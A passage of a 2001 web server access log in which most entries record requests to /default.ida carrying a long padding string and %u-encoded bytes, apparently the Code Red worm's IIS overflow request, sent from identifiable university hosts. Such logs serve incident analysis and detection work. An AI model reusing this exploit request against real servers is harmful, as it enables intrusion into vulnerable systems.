  963. 20010830 18:51:10: dhcp-128-194-24-114.resnet.tamu.edu [128.194.24.114] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  964. 20010830 19:00:36: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  965. 20010830 19:00:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  966. 20010830 19:51:19: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  967. 20010830 19:53:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  968. 20010830 19:53:38: joweeba.resnet.tamu.edu [128.194.53.111] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  969. 20010830 20:01:22: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  970. 20010830 20:01:22: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  971. 20010830 20:08:07:  [128.134.249.22] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  972. 20010830 20:23:24: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  973. 20010830 20:36:40: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  974. 20010830 21:00:16: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  975. 20010830 21:19:19: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  976. 20010830 21:26:20: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  977. 20010830 21:27:38:  [210.15.79.89] "GET http://www.yahoo.com/ HTTP/1.1"
  978. 20010830 21:34:24: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  979. 20010830 21:40:54:  [210.15.79.89] "GET http://www.yahoo.com/ HTTP/1.1"
  980. 20010830 21:41:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  981. 20010830 21:43:36: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  982. 20010830 21:47:27: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  983. 20010830 22:09:59:  [128.134.66.105] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  984. 20010830 22:14:08: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  985. 20010830 22:17:27: dialup-cc2-16.cc.columbia.edu [128.59.58.121] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  986. 20010830 22:22:56: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  987. 20010830 22:29:17: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  988. 20010830 22:38:06: dialup-cc3-62.cc.columbia.edu [128.59.42.167] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  989. 20010830 22:53:02: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  990. 20010830 23:17:27: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  991. 20010830 23:27:24: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  992. 20010830 23:28:06: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  993. 20010830 23:45:24: dialup-ccts5-147.cc.columbia.edu [128.59.6.156] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  994. 20010830 23:53:56: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  995. 20010830 23:59:06: max2-11-107.njit.edu [128.235.11.107] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  996. 20010831 00:15:46: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  997. 20010831 00:15:50: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  998. 20010831 00:16:49:  [211.23.51.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  999. 20010831 00:23:23: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1000. 20010831 00:44:35: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1001. 20010831 00:59:57: dhcp-128-194-24-114.resnet.tamu.edu [128.194.24.114] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1002. 20010831 01:02:41: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
